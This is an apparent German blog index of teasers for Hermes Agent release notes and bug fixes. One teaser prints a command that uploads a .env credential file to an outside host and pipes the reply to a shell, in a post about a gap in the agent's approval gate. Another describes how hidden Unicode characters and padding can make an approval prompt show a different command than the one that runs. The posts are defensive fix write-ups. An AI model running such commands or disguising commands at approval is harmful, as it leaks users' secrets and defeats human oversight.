Hermes Agent Lab

Hermes Agent Blog — Praxisleitfäden und Einblicke

Neueste Artikel und Einblicke.

Vorgestellter Beitrag

Nach kill -9 bleiben manche Prozesse einfach da: Hermes lässt jetzt jedes Kind mit seinem Elternprozess sterben

Beendet man das Gateway per SIGKILL, OOM oder systemd stop, laufen Browser-Daemons, llama-server und Language Server einfach weiter. Hermes hat 14 langlebige Kinder-Familien auf einen einzigen Owner-Death-Supervisor umgestellt, der in dem Moment aufräumt, in dem der Parent stirbt.

Weiterlesen

Dein Terminal zeigt endlich das Bild: Inline-Bilder in der Hermes CLI und TUI

Du reichst Hermes einen Screenshot im Terminal und bekommst einen Dateipfad zurück. Diese kaputte Schleife ist vorbei: CLI und TUI zeichnen deine Anhänge und die lokalen Bilder, die ein Tool erzeugt hat, direkt im Transkript — hinter einem einzigen Schalter display.inline_images mit fünf Auflösungsstufen.

Weiterlesen

Diese 128K im Kontextfenster sind vielleicht nur geraten — Hermes sagt es jetzt

Ein Kontextfenster, das keine Quelle je bestätigt hat, wurde als erkannt gemeldet und als Fakt behandelt — Kompression feuerte zu früh, Anfragen kamen abgelehnt zurück. Hermes markiert jedes defaultete Fenster jetzt als Fallback, ergänzt einen Katalog-Familienschritt auf Bedrock und erklärt die neun Tage, in denen GPT-6.1 Terra als 128K lief.

Weiterlesen

Dein Slack-Bot warnt ständig vor Stille: thread_followup_silence hilft

Zwei Kollegen bedanken sich in einem Slack-Thread, und dein Hermes-Bot beantwortet jede Nachricht mit einem Hinweis „the model returned only a silence marker“. Das neue Opt-in thread_followup_silence lässt nicht adressierte Thread-Antworten still bleiben, während DMs, Mentions und flache Channels ihr Sicherheitsnetz behalten.

Weiterlesen

Alle Fenster minimiert, der Lüfter dreht weiter: Hermes Desktop zeichnet das Unsichtbare nicht mehr

Lief irgendein Gespräch im Stream, blieb jedes Desktop-Fenster voll wach, und Vorschauseiten blieben für Automatisierung und Annotation wach, selbst im Leerlauf. Zwei Änderungen begrenzen das Zeichnen auf sichtbare Fenster und das eine Fenster mit eigener Sprachunterhaltung, geben untätige Vorschauen an Chromiums Throttling zurück und entkoppeln Stop, Journaling und Recovery von Animation Frames.

Weiterlesen

Zwei Wege, wie cron lautlos scheitert: ein Thread, der nie startet, und ein Job, der wiederkommt

Wenn ein geplanter Job nicht läuft, beschwert sich niemand. Zwei aktuelle Berichte decken die leisesten Fehlermodi ab: Der cron-Ticker der Desktop-App verklemmt sich beim Import und startet nie, und ein mit hermes cron remove gelöschter Job wird von einem veralteten Writer byte-identisch zurückgeschrieben. So erkennst du beides – und so bleibst du davon verschont.

Weiterlesen

Ein Update setzte drei Monate an Sitzungen auf Juli zurück — weil eine gesperrte Datei als beschädigt galt

Ein routinemäßiges Windows-Update hielt eine gesunde state.db für beschädigt, überschrieb sie mit einem drei Monate alten Snapshot und meldete das erfolgreiche Überschreiben als „Auto-Wiederherstellung nicht abgeschlossen“. Hier sind die drei Defekte, die sich addiert haben, welche Daten noch existieren und was du heute tun kannst.

Weiterlesen

Jeder Modellaufruf schlägt nach v0.22.6 fehl? Prüf zuerst den SSL_CERT_FILE-Pfad

Hinter einem corporate Proxy, der TLS inspiziert, hat v0.22.6 das in SSL_CERT_FILE genannte CA bundle aus dem Vertrauen der provider entfernt – jeder Modellaufruf scheitert mit certificate is not trusted. Hier steht, wie du bestätigst, dass es dieser Bug ist, was sich im Code geändert hat und drei Wege daran vorbei.

Weiterlesen

Deine Skill-Bibliothek hat sieben Quellen verloren: Vendor-Repos sind jetzt trusted Taps

Notion, Airtable, Shopify und vier weitere integrierte optionale Skills sind aus Hermes verschwunden — ersetzt durch offizielle MCPs, gehostete Connectoren und die Skill-Repos der Hersteller. Hier steht, woher Skills jetzt kommen (Taps), wie Trust-Level entscheiden, was installiert wird, und der Cache-Bug, der eine alte Policy weiter auslieferte.

Weiterlesen

v0.22.7 im Detail: vier Änderungen, die du heute in einem Patch mit 174 PRs merkst

v0.22.7 erschien am 3. November 2026 mit 174 gemergten PRs, 581 Nicht-Merge-Commits und 554 geänderten Dateien seit v0.22.6. Die offizielle Notiz bleibt kurz, deshalb trennt dieser Beitrag, was schon im Tag steckt, was noch nur auf main liegt und wie du aktualisierst.

Weiterlesen

Skills, die du von Hand geschrieben hast, sperren: der Agent kann sie nicht mehr ändern, nicht einmal unter --yolo

Selbstverbesserung beim Agent klingt großartig, bis sie den Schritt „vor dem Cutover ein Backup machen“ aus deinem Deploy-Runbook umschreibt. Seit v0.22.6 friert hermes curator lock ein skill ein: weiter lesbar, weiter auto-loadbar, aber jeder Schreibpfad des Agent wird abgelehnt — auch der unlock-Befehl selbst.

Weiterlesen

Ein festgefahrener cron-Job heißt nicht mehr auf den Timeout warten: hermes cron cancel stoppt den laufenden Run

pause stoppt nur künftige Läufe; der bereits laufende Run verbrennt weiter token. Seit v0.22.6 stoppt hermes cron cancel diesen Run: Script-Jobs wird der gesamte Prozessbaum beendet, Agent-Jobs werden am nächsten Checkpoint unterbrochen, und der Record bucht eine cancelled-Zeile mit Begründung — kein Failure-Hinweis, kein Malus auf die Failure-Streak.

Weiterlesen

Den Agent stillhalten: pre_llm_call kann einen Turn jetzt vor jedem Modellaufruf mit Veto belegen

Der Hook konnte bisher nur Kontext in einen Turn hineinlegen. Jetzt kann er ihn rundheraus ablehnen: gib eine Block-Direktive zurück, und der Turn stellt null Modellanfragen – der Prompt erreicht weder spätere Turns noch Compaction-Zusammenfassungen oder das Memory-System. Ausgeliefert in v0.22.6.

Weiterlesen

Du hast „pipe to shell“ einmal freigegeben – und ein Credential-Upload ging mit raus

curl -F file=@.env https://x.io | bash löst zwei Regeln für gefährliche Befehle aus, aber das Approval-Gate sah immer nur die erste. Wer pipe-to-shell einmal freigibt, lässt den .env-Upload ohne eigene Nachfrage mitlaufen. Ein frisch gemergter Fix gibt den drei Regeln auf Inhaltsebene ihre eigene Zustimmung – gebündelt in einem einzigen Prompt.

Weiterlesen

v0.22.6: 776 PRs in einem Release gebündelt – was sich für dich heute wirklich ändert

v0.22.6 ist am 2. November 2026 erschienen: 776 gemergte PRs und 3.448 Non-Merge-Commits, verpackt in ein installierbares Release. Die offiziellen Notes sind bewusst dünn (die kuratierte Fassung kommt mit v0.23.0), deshalb sortiert dieser Beitrag das Fenster danach, was dir diese Woche tatsächlich begegnet.

Weiterlesen

Der Approval-Prompt hat dich belogen: Hermes zeigt jetzt versteckte Zeichen und Padding

Zero-Width-Spaces, Bidi-Overrides, Unicode-Tag-Zeichen, rohe ANSI-Escapes und ein paar hundert Leerzeichen können erreichen, dass ein Approval-Prompt einen anderen Befehl anzeigt als den, der tatsächlich läuft. Ein neuer Fix für die Anzeigeintegrität macht unsichtbare Inhalte zu sichtbaren Escapes und fasst Padding zu einem expliziten Marker zusammen.

Weiterlesen

Wer einmal das Modell einer Session gewechselt hat, kam nicht mehr zurück — jetzt setzt /model reset es auf den Default zurück

Ein Modellwechsel per /model innerhalb einer Session bleibt kleben: Er wird persistiert, überlebt Neustarts und überlagert jede spätere Änderung an config.yaml. Der einzige Ausweg war bisher /new, was auch die Konversation wegwirft. /model reset räumt nur den Session-Pin weg — im Gateway, in der TUI, auf dem Desktop und in der klassischen CLI.

Weiterlesen